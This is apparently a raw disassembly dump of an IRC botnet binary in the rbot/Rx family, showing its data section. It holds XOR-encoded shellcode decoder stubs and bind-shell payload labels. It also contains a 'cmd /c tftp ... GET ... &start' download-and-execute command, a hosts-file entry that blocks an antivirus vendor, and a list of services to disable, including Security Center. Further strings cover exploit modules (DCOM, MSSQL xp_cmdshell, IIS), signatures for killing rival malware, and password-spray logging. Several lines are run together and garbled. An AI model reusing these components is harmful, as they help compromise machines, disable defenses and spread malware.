dword_44C9A8 dd 65676152h, 2E746F42h, 41haExploitingSUse db '(Exploiting: %s User: %s / Pass: %s',0Dh,0Ah ; DATA XREF: ?9:00447E2Co
db ')',0
align 4
aNtbot_b db 'NTBot.B',0 ; DATA XREF: ?9:00447E28o
aStaticConstUns db 'static const unsigned long crc32tab[256] = {',0
; DATA XREF: ?9:00447E24o
align 4
aNtbot_a db 'NTBot.A',0 ; DATA XREF: ?9:00447E20o
; ---------------------------------------------------------------------------
loc_44CA1C: ; DATA XREF: ?9:00447E1Co
jmp short near ptr word_44CA2E
; ---------------------------------------------------------------------------
dw 4A5Ah
; ---------------------------------------------------------------------------
xor ecx, ecx
mov cx, 13Ch
loc_44CA26: ; CODE XREF: ?9:0044CA2Aj
xor byte ptr [edx+ecx], 99h
loop loc_44CA26
; ---------------------------------------------------------------------------
db 2 dup(0)
word_44CA2E dw 0 ; CODE XREF: ?9:loc_44CA1Cj
dword_44CA30 dd 70747448h, 432E4C44h, 2E65646Fh, 41h, 70747468h, 772F2F3Ah
; DATA XREF: ?9:00447E18o
dd 662E7777h, 64657269h, 6F6D6561h, 6F632E6Eh, 6Dh, 65726946h
dd 6D656144h, 422E6E6Fh, 0
aCopyrightC2007 db 'Copyright (c) 2007 FireDaemon Technologies Limited',0
align 10h
aFiredaemon_a db 'FireDaemon.A',0
align 10h
aStrncpyWolffdi db 'strncpy(wolffdir, xdccdir, MAX_PATH); strncat(wolffdir, "\wolff",'
db ' MAX_PATH)',0
aWolf_kit db 'Wolf.Kit',0
align 4
aDefineHe4_hook db '#define HE4_HOOK_INV_VERSION 0x20001005',0
db 0
aHe4hookrootkit db 'He4HookRootkit-v2.15b',0
align 4
aMsdirectx_sys db 'msdirectx.sys',0 ; DATA XREF: ?9:00447DF4o
align 4
aFu_driver_b db 'FU.Driver.b',0
aRdriv_sys db 'rdriv.sys',0
align 4
aFu_driver_a db 'FU.Driver.a',0
dd 301B3015h, 3054304Ah, 3067305Eh, 30AB3087h, 30C230B1h
dd 31C331B7h, 31DB31CFh, 327A31F5h, 338E332Fh, 33A7339Ah
dd 343233AFh, 3442343Ah, 345A344Fh, 34E634B3h, 34F834EFh
dd 350A3501h, 351C3513h, 357E3524h, 366B3589h, 369C3688h
dd 36C336BAh, 36EE36E4h, 37133709h, 377C3775h, 3797378Bh
dd 391A37B1h, 39333924h, 39B13943h, 3A0B3A05h, 3A243A16h
dd 3A453A3Ah, 3A643A55h, 3A783A69h, 3A913A8Bh, 3AAD3A9Eh
dd 3AC23AB9h, 3ADE3AD8h, 0
aFu_rootkit_dri db 'FU.Rootkit.Driver',0
align 4
aStaticCharAc_d db 'static CHAR ac_driverName[] = "msdirectx.sys',0
align 4
aFu_rootkit_c db 'FU.Rootkit.c',0
align 4
aConstWcharDevi db 'const WCHAR deviceNameBuffer[] = L"\Device\msdirectx',0
align 4
aFu_rootkit_b db 'FU.Rootkit.b',0
align 4
aDefineFile_dev db '#define FILE_DEVICE_ROOTKIT 0x00002a7b',0
aFu_rootkit_a db 'FU.Rootkit.a',0
align 10h
aImportMsnMsnme db '#import "MSN/MSNMessengerAPI.tlb" named_guids, no_namespace',0
aMsnbot_b db 'MSNBot.b',0
align 4
aStaticConstCha db 'static const char *msg_english[] = {',0
align 10h
aMsnbot_a db 'MSNBot.a',0 ; DATA XREF: ?9:00447DB8o
align 4
aNircomline db 'NirComLine',0 ; DATA XREF: ?9:00447DB0o ?9:00447DB4o
align 4
aPipeEpmapper db 'pipe\epmapper\',0 ; DATA XREF: ?9:00447DACo
align 4
aDcomOldScan db 'Dcom-Old-Scan',0 ; DATA XREF: ?9:00447DA8o
align 4
aR0lgodlhfaauak db 'R0lGODlhFAAUAKIAAAAAAP//////93d3cDAwIaGhgQEBP//////wAAACH5BAEAAAY'
; DATA XREF: ?9:00447DA4o
db 'ALAAAAAAUABQAAAM8',0
align 4
aC99 db 'c99',0 ; DATA XREF: ?9:00447DA0o
aI2luy2x1zgugph db 'I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZ'
; DATA XREF: ?9:00447D9Co
db 'SA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZG'
db 'UgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJ'
db 'nYyxhcmd2KQ0KaW50I',0
align 4
aR57 db 'r57',0 ; DATA XREF: ?9:00447D98o
aHiderunHiddenA db 'HideRun -- hidden application launcher.',0 ; DATA XREF: ?9:00447D94o
aHiderun db 'HideRun',0 ; DATA XREF: ?9:00447D90o
aSoftwareAdrian db 'Software\Adrian Lopez\HideWindow\Preferences HideWindow',0
; DATA XREF: ?9:00447D8Co
aHiderGui db 'Hider-Gui',0 ; DATA XREF: ?9:00447D88o
align 10h
aSoftwareMicr_6 db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones'
; DATA XREF: ?9:00447D84o
db '\3',0
aLowerzones db 'LowerZones',0 ; DATA XREF: ?9:00447D80o
align 10h
aWindowsupdate_ db 'windowsupdate.com',0 ; DATA XREF: ?9:00447D7Co
align 4
aMsblast db 'MsBlast',0 ; DATA XREF: ?9:00447D78o
dword_44CFAC dd 0FFFFFF43h, 1303030h, 282B1F0Ah, 132A12Bh, 0aBeagle db 'Beagle',0 ; DATA XREF: ?9:00447D70o
align 4
aDonateToTheHur db 'Donate to the Hurricane Katrina relief effort.',0
; DATA XREF: ?9:00447D6Co
align 4
aBobic_b db 'Bobic.B',0 ; DATA XREF: ?9:00447D68o
aOsamaBinLadenC db 'Osama Bin Laden Captured.',0 ; DATA XREF: ?9:00447D64o
align 4
aBobic_a db 'Bobic.A',0 ; DATA XREF: ?9:00447D60o
; ---------------------------------------------------------------------------
loc_44D024: ; DATA XREF: ?9:00447D5Co
jmp short loc_44D035
; ---------------------------------------------------------------------------
loc_44D026: ; CODE XREF: ?9:loc_44D035p
pop ebx
xor ecx, ecx
sub cx, 0FFEEh
loc_44D02D: ; CODE XREF: ?9:0044D031j
xor byte ptr [ebx], 55h
inc ebx
loop loc_44D02D
jmp short near ptr word_44D03A
; ---------------------------------------------------------------------------
loc_44D035: ; CODE XREF: ?9:loc_44D024j
call loc_44D026
; ---------------------------------------------------------------------------
word_44D03A dw 0 ; CODE XREF: ?9:0044D033j
dword_44D03C dd 69614D49h, 68532E6Ch, 6C6C65hdword_44D048 dd 0D959506Ah, 2474D9EEh, 73815BF4h, 6F8C0F13h, 0dword_44D05C dd 77537049h, 68637469h, 6568532Eh, 6C6Ch; ---------------------------------------------------------------------------
loc_44D06C: ; DATA XREF: ?9:00447D4Co
jmp short near ptr word_44D0DE
; ---------------------------------------------------------------------------
dw 3356h
dd 408B64C0h, 78C08530h, 0C408B0Ch, 0
dword_44D080 dd 4474654Eh, 532E4544h, 6C6C6568h, 0; ---------------------------------------------------------------------------
loc_44D090: ; DATA XREF: ?9:00447D44o
jmp short near ptr word_44D0A2
; ---------------------------------------------------------------------------
dw 4B5Bh
; ---------------------------------------------------------------------------
xor ecx, ecx
mov cx, 125h
loc_44D09A: ; CODE XREF: ?9:0044D09Ej
xor byte ptr [ebx+ecx], 99h
loop loc_44D09A
; ---------------------------------------------------------------------------
db 2 dup(0)
word_44D0A2 dw 0 ; CODE XREF: ?9:loc_44D090j
dword_44D0A4 dd 68637653h, 2E74736Fh, 6C656853h, 6Chdword_44D0B4 dd 8166C933h, 0D9FFB0E9h, 2474D9EEh, 73815BF4h, 0dword_44D0C8 dd 63626954h, 68532E6Fh, 6C6C65h; ---------------------------------------------------------------------------
loc_44D0D4: ; DATA XREF: ?9:00447D34o
jmp short loc_44D0EF
; ---------------------------------------------------------------------------
dw 315Eh
dd 89E981C9h
db 0FFh, 0
word_44D0DE dw 0 ; CODE XREF: ?9:loc_44D06Cj
aOld4444shell db 'Old4444Shell',0 ; DATA XREF: ?9:00447D30o
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_44D0EF: ; CODE XREF: ?9:loc_44D0D4j
; DATA XREF: ?9:00447D2Co
add [ebx+46h], dl
push esp
loc_44D0F3: ; DATA XREF: ?9:00447D28o
xor ds:53006925h, dh
jnz short loc_44D15D
aaa
; ---------------------------------------------------------------------------
dd 0
a022moptestmv1_ db '022¬OPtest¬v1.1',0Dh,0Ah,0 ; DATA XREF: ?9:00447D24o
align 4
aOptix db 'Optix',0 ; DATA XREF: ?9:00447D20o
align 4
aPleaz_runS db 'pleaz_run%s',0 ; DATA XREF: ?9:00447D1Co
aNetdevil db 'NetDevil',0 ; DATA XREF: ?9:00447D18o
align 4
aSystemrootSyst db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: ?9:00447D14o
align 4
aVncscan db 'VNCScan',0 ; DATA XREF: ?9:00447D10o
byte_44D15C db 80h ; DATA XREF: ?9:00447D0Co
; ---------------------------------------------------------------------------
loc_44D15D: ; CODE XREF: ?9:0044D0F9j
bound eax, [ecx]
add bh, [ebp+1000100h]
add [esi], dl
; ---------------------------------------------------------------------------
db 8Fh
dd 182h
aIis5ssl db 'IIS5SSL',0 ; DATA XREF: ?9:00447D08o
aMain db '[MAIN]: ',0 ; DATA XREF: ?9:00447D04o
align 10h
aRxMain db 'Rx Main',0 ; DATA XREF: ?9:00447D00o
; ---------------------------------------------------------------------------
loc_44D188: ; DATA XREF: ?9:00447CFCo
mov edi, ecx
xor al, al
inc al
repne scasb
jmp edi
; ---------------------------------------------------------------------------
align 4
aWebdav db 'WebDav',0 ; DATA XREF: ?9:00447CF8o
align 4
; aExecMaster(long long, *)
aExecMaster__xp db 'EXEC master..xp_cmdshell',0 ; DATA XREF: ?9:00447CF4o
align 4
aMssql_b db 'MSSQL.B',0 ; DATA XREF: ?9:00447CF0o
aThcthcthcthcth db 'THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC',0
; DATA XREF: ?9:00447CECo
align 4
aMssql_a db 'MSSQL.A',0 ; DATA XREF: ?9:00447CE8o
a8d9f4e40A03d11 db '8d9f4e40-a03d-11ce-8f69-08003e30051b',0 ; DATA XREF: ?9:00447CE4o
align 4
aPnp_b db 'PNP.b',0 ; DATA XREF: ?9:00447CE0o
align 4
dword_44D22C dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 0dword_44D240 dd 2E504E50h, 61hdword_44D248 dd 41435302h, 3A3A204Eh, 220hdword_44D254 dd 43207852h, 726F6C6Fh, 6E616353h, 622Eha127_0_0_1Www_s db 0Ah ; DATA XREF: ?9:00447CCCo
db '127.0.0.1',9,'www.symantec.com',0Ah,0
align 4
aChangehosts db 'ChangeHosts',0 ; DATA XREF: ?9:00447CC8o
dword_44D290 dd 57501C43h, 5AD1FF56h, 8430358h, 8B52F88Bh, 0dword_44D2A4 dd 6C6C6548h, 2E746F62h, 62hdword_44D2B0 dd 6C6C6548h, 2E746F62h, 61haRpcpatch_mutex db 'RpcPatch_Mutex',0 ; DATA XREF: ?9:00447CB4o
align 4
aWelchia_a db 'Welchia.a',0 ; DATA XREF: ?9:00447CB0o
align 4
aAddexExinfo db 'AddEx(exinfo)',0 ; DATA XREF: ?9:00447CACo
align 4
aZotobForbotMod db 'Zotob/ForBot Mods',0 ; DATA XREF: ?9:00447CA8o
align 4
dword_44D2FC dd 0DDCA6D6Ah, 8090F0E4h, 4A22Fh ; ?9:00447CBCo
aBlaster db 'Blaster',0 ; DATA XREF: ?9:00447CA0o
aFbsgjnerZvpe_0 db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\PbzQyt32\Irefv'
; DATA XREF: ?9:00447C9Co
db 'ba',0
aMydoom_c db 'MyDoom.C',0 ; DATA XREF: ?9:00447C98o
align 10h
aFbsgjnerZvpebf db 'Fbsgjner\Zvpebfbsg\JNO\JNO4\Jno Svyr Anzr',0 ; DATA XREF: ?9:00447C94o
align 4
aMydoom_b db 'MyDoom.B',0 ; DATA XREF: ?9:00447C90o
align 4
dword_44D398 dd 9E3C1385h, 0A2hdword_44D3A0 dd 6F44794Dh, 412E6D6Fh, 2 dup(0)aSendingYouPack db '** Sending you pack #%i ("%s"), which is %sB (resume supported)',0
; DATA XREF: ?9:00447C84o
aIrofferAll db 'Iroffer-All',0 ; DATA XREF: ?9:00447C80o
aTotalOffered1_ db 'Total Offered: %1.1f MB Total Transferred: %1.2f %cB',0
; DATA XREF: ?9:00447C7Co
align 4
aIroffer_b db 'Iroffer.b',0 ; DATA XREF: ?9:00447C78o
align 10h
aHttpIroffer_or db 'http://iroffer.org/',0 ; DATA XREF: ?9:00447C74o
aIroffer_a db 'Iroffer.a',0 ; DATA XREF: ?9:00447C70o
align 10h
aRoot_start db 'root.start',0 ; DATA XREF: ?9:00447C6Co
align 4
aOtherbot_b db 'Otherbot.b',0 ; DATA XREF: ?9:00447C68o
align 4
aScan_start db 'scan.start',0 ; DATA XREF: ?9:00447C64o
align 4
aOtherbot_a db 'Otherbot.a',0 ; DATA XREF: ?9:00447C60o
align 10h
dword_44D490 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8408BADh, 0aLinkbot_shellc db 'Linkbot.Shellcode',0 ; DATA XREF: ?9:00447C58o
align 4
aRpc_c db 'RPC.c:',0 ; DATA XREF: ?9:00447C54o
align 10h
aLinkbot_rpc db 'Linkbot.RPC',0 ; DATA XREF: ?9:00447C50o
aDcom2 db 'dcom2:',0 ; DATA XREF: ?9:00447C4Co
align 4
aLinkbot_dcom_c db 'Linkbot.dcom.c',0 ; DATA XREF: ?9:00447C48o
align 4
aDcom2_c db 'dcom2.c:',0 ; DATA XREF: ?9:00447C44o
align 10h
aLinkbot_dcom_b db 'Linkbot.dcom.b',0 ; DATA XREF: ?9:00447C40o
align 10h
dword_44D500 dd 234032Dh, 6D6F6364h, 2632E32h, 2D03hdword_44D510 dd 6B6E694Ch, 2E746F62h, 6D6F6364h, 612Ehdword_44D520 dd 63737069h, 2A206E61h, 2A2E2A2Eh, 2A2Ehdword_44D530 dd 6B6E694Ch, 2D746F62h, 6E616353h, 612EhaWeBackLooooooo db 'We BaCk LoooooooooooOOOOOOOOOOOOOooo',0 ; DATA XREF: ?9:00447C2Co
align 4
aQ8 db 'Q8',0 ; DATA XREF: ?9:00447C28o
align 4
aPsniffThread db 'psniff thread',0 ; DATA XREF: ?9:00447C24o
align 4
aRbot_psniff db 'rbot.psniff',0 ; DATA XREF: ?9:00447C20o
dword_44D588 dd 0F254C481h, 0E8FCFFFFh, 46hoff_44D594 dd offset byte_4E5341 ; DATA XREF: ?9:00447C18o
dword_44D598 dd 0D959516Ah, 2474D9EEh, 0F4haNetapi4444bind db 'Netapi4444Bind',0 ; DATA XREF: ?9:00447C10o
align 4
a3GsUT db '3Ƀé°ÙîÙt',0 ; DATA XREF: ?9:00447C0Co
align 10h
off_44D5C0 dd offset byte_4D5953 ; DATA XREF: ?9:00447C08o
dword_44D5C4 dd 0E983C933h, 0D9EED9AFh, 74haC101 db 'C101',0 ; DATA XREF: ?9:00447C00o
align 4
loc_44D5D8: ; DATA XREF: ?9:00447BFCo
jmp short loc_44D5DC
; ---------------------------------------------------------------------------
loc_44D5DA: ; CODE XREF: ?9:loc_44D5DCp
jmp short near ptr byte_44D5E1
; ---------------------------------------------------------------------------
loc_44D5DC: ; CODE XREF: ?9:loc_44D5D8j
call loc_44D5DA
; ---------------------------------------------------------------------------
byte_44D5E1 db 3 dup(0) ; CODE XREF: ?9:loc_44D5DAj
dword_44D5E4 dd 412E5450h, 0 dword_44D5EC dd 4143535Bh, 203A5D4Eh, 0dword_44D5F8 dd 53207852h, 6E6163hdword_44D600 dd 0D959506Ah, 2474D9EEh, 0F4hdword_44D60C dd 5D42525Bh, 53746F42h, 6C6C6568h, 0dword_44D61C dd 34D9E1D9h, 58585824h, 58hdword_44D628 dd 6F626159h, 612E74h; ---------------------------------------------------------------------------
loc_44D630: ; DATA XREF: ?9:00447BDCo
jmp short near ptr aTftp+6
; ---------------------------------------------------------------------------
dw 758Bh
dd 35748B3Ch, 78h
dword_44D63C dd 47323357h, 53206E65h, 43haCmdCTftpISGetS db 'cmd /c tftp -i %s GET %s &start %s &exit',0 ; DATA XREF: ?9:00447BD4o
align 4
aTftpget_b db 'TFTPGet.b',0 ; DATA XREF: ?9:00447BD0o
align 10h
aTftp db '[TFTP]',0 ; CODE XREF: ?9:loc_44D630j
; DATA XREF: ?9:00447BCCo
align 4
aRxTftp db 'Rx TFTP',0 ; DATA XREF: ?9:00447BC8o
aTftpISGetSS db 'tftp -i %s get %s &%s',0Ah,0 ; DATA XREF: ?9:00447BC4o
align 4
aTftpget_a db 'TFTPGet.a',0 ; DATA XREF: ?9:00447BC0o
align 4
a220BotServerWi db '220 Bot Server (Win32)',0Dh,0Ah,0 ; DATA XREF: ?9:00447BBCo
align 10h
aPhatbot db 'PhatBot',0 ; DATA XREF: ?9:00447BB8o
a220WelcomeToBo db '220 "Welcome to Bot FTP service."',0Dh,0Ah,0 ; DATA XREF: ?9:00447BB4o
aAgobot db 'AgoBot',0 ; DATA XREF: ?9:00447BB0o
align 4
aStnyftpd0wnsJ0 db 'StnyFtpd 0wns j00',0 ; DATA XREF: ?9:00447BACo
align 4
aStnyftpd db 'StnyFtpd',0 ; DATA XREF: ?9:00447BA8o
align 4
aMain_0 db '-MAiN-',0 ; DATA XREF: ?9:00447BA4o
align 4
aRep08Main db 'Rep08 Main',0 ; DATA XREF: ?9:00447BA0o
align 4
a220ReptileWelc db '220 Reptile welcomes you..',0Dh,0Ah,0 ; DATA XREF: ?9:00447B9Co
align 4
aRep08Ftpd db 'Rep08 FTPd',0 ; DATA XREF: ?9:00447B98o
align 4
aReptileWelcome db 'Reptile welcomes you...',0 ; DATA XREF: ?9:00447B94o
aRepFtpd db 'Rep FTPd',0 ; DATA XREF: ?9:00447B90o
align 4
loc_44D788: ; DATA XREF: ?9:00447B8Co
jmp short near ptr word_44D79A
; ---------------------------------------------------------------------------
dw 4B5Bh
dd 0B966C933h, 25h
dword_44D794 dd 4C205852h db 53h, 0
word_44D79A dw 0 ; CODE XREF: ?9:loc_44D788j
dword_44D79C dd 5054465Bh, 203A5Dhdword_44D7A4 dd 46207852h, 7074h; ---------------------------------------------------------------------------
loc_44D7AC: ; DATA XREF: ?9:00447B7Co
jmp short loc_44D7BE
; ---------------------------------------------------------------------------
dw 4A5Ah
dd 0B966C933h, 7Dh
dword_44D7B8 dd 20706552h ; ---------------------------------------------------------------------------
push ebx
inc ebx
loc_44D7BE: ; CODE XREF: ?9:loc_44D7ACj
xor al, [eax]
loc_44D7C0: ; DATA XREF: ?9:00447B74o
jmp short near ptr word_44D7D2
; ---------------------------------------------------------------------------
dw 4A5Ah
dd 0B966C933h, 66h
dword_44D7CC dd 53205852h db 43h, 32h
word_44D7D2 dw 0 ; CODE XREF: ?9:loc_44D7C0j
dword_44D7D4 dd 364C033h, 0C783040h, 8Bhdword_44D7E0 dd 53205852h, 3143hdword_44D7E8 dd 43524902h, 203A3A20h, 2dword_44D7F4 dd 43207852h, 726F6C6Fh, 2E435249h, 62hdword_44D804 dd 49414D02h, 3A3A204Eh, 220hdword_44D810 dd 43207852h, 726F6C6Fh, 622Ehdword_44D81C dd 63533A3Ah, 3A3A6E61h, 0dword_44D828 dd 43207852h, 726F6C6Fh, 6E616353h, 0dword_44D838 dd 614D3A3Ah, 3A3A6E69h, 0dword_44D844 dd 43207852h, 726F6C6Fh, 0dword_44D850 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: ?9:00447B44o
dd 2BBBB02h, 73552020h, 7265h
dword_44D870 dd 5A4E7852h, 632E4Dha_n_z_m_Irc_p_l db '.n.z.m. (irc.p.l.g) .»». ',0 ; DATA XREF: ?9:00447B3Co
align 4
aRxnzm_b db 'RxNZM.b',0 ; DATA XREF: ?9:00447B38o
dword_44D89C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
; DATA XREF: ?9:00447B34o
dd 2BBBB02h, 20h
aRxnzm db 'RxNZM',0 ; DATA XREF: ?9:00447B30o
align 10h
dword_44D8C0 dd 234032Dh, 6E69616Dh, 202D0302h, 0dword_44D8D0 dd 4C2D7852h, 2D6B6E69h, 2E414950h, 63hdword_44D8E0 dd 234032Dh, 6E616373h, 202D0302h, 0dword_44D8F0 dd 4C2D7852h, 2D6B6E69h, 414950hdword_44D8FC dd 5446545Bh, 3A5D4450h, 20hdword_44D908 dd 54207852h, 64505446h, 0dword_44D914 dd 5446545Bh, 203A5D50h, 0dword_44D920 dd 54207852h, 2E505446h, 62hdword_44D92C dd 50544654h, 2F2Fhdword_44D934 dd 53207852h, 6873616Ch, 7446542Dh, 70hdword_44D944 dd 4E414353h, 2F2Fhdword_44D94C dd 53207852h, 6873616Ch, 6163532Dh, 6Ehdword_44D95C dd 4E49414Dh, 2F2Fhdword_44D964 dd 53207852h, 6873616Ch, 0dword_44D970 dd 4F57445Bh, 414F4C4Eh, 203A5D44h, 0dword_44D980 dd 44207852h, 6C6E776Fh, 64616Fhdword_44D98C dd 5054465Bh, 203A5D44h, 0dword_44D998 dd 46207852h, 447074hdword_44D9A0 dd 59454B5Bh, 5D474F4Ch, 203Ahdword_44D9AC dd 4B207852h, 6F4C7965h, 67hdword_44D9B8 dd 234032Dh, 2637269h, 2D03haPiabot db 'PiABot',0 ; DATA XREF: ?9:00447AD8o
align 4
aIrc db 'IRC//',0 ; DATA XREF: ?9:00447AD4o
align 4
aRxIrc_c db 'Rx IRC.c',0 ; DATA XREF: ?9:00447AD0o
align 10h
aIrc_0 db '[IRC]: ',0 ; DATA XREF: ?9:off_447ACCo
aRxIrc db 'Rx IRC',0 ; DATA XREF: ?9:00447AC8o
align 10h
aSFoundStringSI db '%s Found string "%s" in "%s" File "%s"',0 ; DATA XREF: sub_41EDC3+D1o
align 4
aSTerminatedAnd db '%s Terminated and deleted %s',0 ; DATA XREF: sub_41EF29+BCo
align 4
aSBkillShutdown db '%s bkill shutdown for wride.',0 ; DATA XREF: sub_41F02F+3E4o
; sub_41F02F+41Do
align 4
aSRunningAvscan db '%s Running AVScan on %s',0 ; DATA XREF: sub_41F02F+312o
aSMatchedAndKil db '%s Matched and killing %s',0 ; DATA XREF: sub_41F02F+29Do
align 4
aSKillingS db '%s Killing %s',0 ; DATA XREF: sub_41F02F+228o
align 4
asc_44DA9C: ; DATA XREF: sub_41F02F+56o
; sub_423850+A4o ...
unicode 0, <\>,0
aSProcsSSTotalS db '%s Procs %s: "%s", Total %s Time: %s.',0 ; DATA XREF: sub_41F46D+2FBo
align 4
aSCreatedProcSP db '%s Created proc: "%s", PID: <%d>',0 ; DATA XREF: sub_41F46D+1CAo
align 4
aSSToCreatePr_0 db '%s %s to create proc: "%s", %s: <%d>',0 ; DATA XREF: sub_41F46D+16Fo
; sub_41F46D+19Do
align 4
aSCouldnTPars_0 db '%s Couldn',27h,'t parse path, %s <%d>',0 ; DATA XREF: sub_41F46D+98o
; sub_41F46D+BEo
aSPidIKilledAnd db '%s PID "%i" killed and deleted',0 ; DATA XREF: sub_41F7B0+3D8o
align 4
aSFailedToKillA db '%s Failed to kill and erase proc',0 ; DATA XREF: sub_41F7B0+37Bo
align 4
aSFailedToKillP db '%s Failed to kill proc',0 ; DATA XREF: sub_41F7B0:loc_41FA58o
align 10h
aSPidIKilled db '%s PID "%i" killed',0 ; DATA XREF: sub_41F7B0+251o
align 4
aSProSKilledTot db '%s Pro "%s" killed,total: <%s>',0 ; DATA XREF: sub_41F7B0+1F9o
align 4
aSUnableToListP db '%s Unable to list procs, %s: <%d>',0 ; DATA XREF: sub_41F7B0+185o
; sub_41F7B0+1AAo
align 4
aSEndOfList db '%s End of list',0 ; DATA XREF: sub_41F7B0+14Do
align 4
a6d10sS db ' %-6d- %-10s- "%s"',0 ; DATA XREF: sub_41F7B0+106o
align 4
aK db ' K',0 ; DATA XREF: sub_41F7B0+E9o
align 10h
aPidAMemoryUsag db ' PID - Memory Usage - Process',0 ; DATA XREF: sub_41F7B0+9Do
aSProcsList db '%s Procs List:',0 ; DATA XREF: sub_41F7B0+82o
align 10h
aSS_4 db '%s / %s',0Ah,0 ; DATA XREF: sub_41FB92+17Ao
align 4
aSD_2 db '%s: <%d>',0 ; DATA XREF: sub_41FB92+11Do
align 4
aUnknown db 'unknown',0 ; DATA XREF: sub_41FD79+E0o
; sub_427E97+3Bo
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_41FD79+5Co
; sub_41FF76+4Eo
align 4
aSPingRequestFr db '%s Ping request from: %s!%s@%s',0 ; DATA XREF: sub_420399+62Fo
align 4
dword_44DC94 dd 4E495001h, 73252047h, 0dword_44DCA0 dd 4E495001h, 47haTransferComple db 'Transfer complete from IP: %s, File: %s (%s bytes).',0
; DATA XREF: sub_420399+582o
aSSOpeningFileF db '%s %s opening file for writing.',0 ; DATA XREF: sub_420399+441o
off_44DCFC dd offset byte_622B61 ; DATA XREF: sub_420399+423o
aSSUnableToWrit db '%s %s unable to write file to disk.',0 ; DATA XREF: sub_420399+40Fo
aSend_0 db 'SEND',0 ; DATA XREF: sub_420399+39Co
align 4
aSDccRequestFro db '%s DCC request from: %s!%s@%s',0 ; DATA XREF: sub_420399+38Co
align 4
dword_44DD4C dd 43434401h, 0 aSVersionReques db '%s Version request from: %s!%s@%s',0 ; DATA XREF: sub_420399+346o
align 4
dword_44DD78 dd 52455601h, 4E4F4953h, 1732520h, 0dword_44DD88 dd 52455601h, 4E4F4953h, 1aSSSS@SPassTrie db '%s %s [%s!%s@%s] (Pass Tried -> %s)',0 ; DATA XREF: sub_420399+212o
aSS@S db '%s!%s@%s',0 ; DATA XREF: sub_420399+1A7o
align 4
aSSSS@SSentPmS db '%s %s %s!%s@%s (Sent PM -> "%s")',0 ; DATA XREF: sub_420399+154o
align 4
asc_44DDE8: ; DATA XREF: sub_420399+28o
; sub_420A75+8Co
unicode 0, <+>,0
aTopic db 'topic',0 ; DATA XREF: sub_420A75+10Bo
align 4
a433 db '433',0 ; DATA XREF: sub_420CC8+BAo
; sub_42630C:loc_426387o
a422 db '422',0 ; DATA XREF: sub_420CC8+A9o
a376 db '376',0 ; DATA XREF: sub_420CC8+9Co
a005 db '005',0 ; DATA XREF: sub_420CC8+91o
a366 db '366',0 ; DATA XREF: sub_420CC8+7Do
a332 db '332',0 ; DATA XREF: sub_420CC8+6Co
a302 db '302',0 ; DATA XREF: sub_420CC8+5Fo
off_44DE10 dd offset dword_554B48 ; DATA XREF: sub_420D92+7Do
aHkey_users db 'HKEY_USERS',0 ; DATA XREF: sub_420D92+71o
align 10h
aHkcc db 'HKCC',0 ; DATA XREF: sub_420D92+65o
align 4
aHkey_current_c db 'HKEY_CURRENT_CONFIG',0 ; DATA XREF: sub_420D92+59o
aHkcr db 'HKCR',0 ; DATA XREF: sub_420D92+4Do
align 4
aHkey_classes_r db 'HKEY_CLASSES_ROOT',0 ; DATA XREF: sub_420D92+41o
align 4
aHkcu db 'HKCU',0 ; DATA XREF: sub_420D92+35o
; sub_421783+9Bo ...
align 10h
aHkey_current_u db 'HKEY_CURRENT_USER',0 ; DATA XREF: sub_420D92+29o
align 4
aHklm db 'HKLM',0 ; DATA XREF: sub_420D92+1Do
; sub_421783+94o ...
align 4
aHkey_local_mac db 'HKEY_LOCAL_MACHINE',0 ; DATA XREF: sub_420D92+Do
align 10h
aReg_dword db 'REG_DWORD',0 ; DATA XREF: sub_420E3E:loc_420E6Fo
align 4
aReg_multi_sz db 'REG_MULTI_SZ',0 ; DATA XREF: sub_420E3E:loc_420E91o
align 4
aReg_expand_sz db 'REG_EXPAND_SZ',0 ; DATA XREF: sub_420E3E:loc_420E5Do
align 4
aReg_sz db 'REG_SZ',0 ; DATA XREF: sub_420E3E:loc_420E63o
align 4
aReg_dword_big_ db 'REG_DWORD_BIG_ENDIAN',0 ; DATA XREF: sub_420E3E:loc_420E9Do
align 4
aReg_link db 'REG_LINK',0 ; DATA XREF: sub_420E3E:loc_420E97o
align 4
aReg_qword db 'REG_QWORD',0 ; DATA XREF: sub_420E3E:loc_420E8Bo
align 4
aUnknown_0 db 'UNKNOWN',0 ; DATA XREF: sub_420E3E:loc_420E85o
aReg_none db 'REG_NONE',0 ; DATA XREF: sub_420E3E:loc_420E69o
align 4
aReg_binary db 'REG_BINARY',0 ; DATA XREF: sub_420E3E+19o
align 4
a_2dSSS db '(%.2d) %s\%s (%s)',0 ; DATA XREF: sub_42105D+169o
align 4
aDefault db '(Default)',0 ; DATA XREF: sub_42105D+148o
align 4
a_2dSS db '(%.2d) %s\%s',0 ; DATA XREF: sub_42105D+C0o
align 8
off_44DF48 dd offset aTlntsvr ; DATA XREF: sub_421DCA+2Dr
; "Tlntsvr"
dd offset aRemoteregistry ; "RemoteRegistry"
dd offset aMessenger ; "Messenger"
dd offset aWscsvc ; "wscsvc"
off_44DF58 dd offset aTelnet ; DATA XREF: sub_421DCA+6Er
; sub_421DCA+ABr ...
; "Telnet"
dd offset aRemoteRegistry ; "Remote Registry"
dd offset aMessenger ; "Messenger"
dd offset aSecurityCenter ; "Security Center"
dword_44DF68 dd 80000002h ; sub_421783:loc_42180Dr ...
dword_44DF6C dd 54535953h ; sub_421783+14Er
aEmCurrentcontr db 'EM\CurrentControlSet\Control\Lsa',0
align 4
dd 35h dup(0)
db 3 dup(0)
dword_44E06B dd 74736572h ; sub_421783:loc_4218C9r
aRictanonymous db 'rictanonymous',0
align 10h
dd 3Bh dup(0)
dword_44E16C dd 4 dword_44E170 dd 1 ; sub_421783+7Cr ...
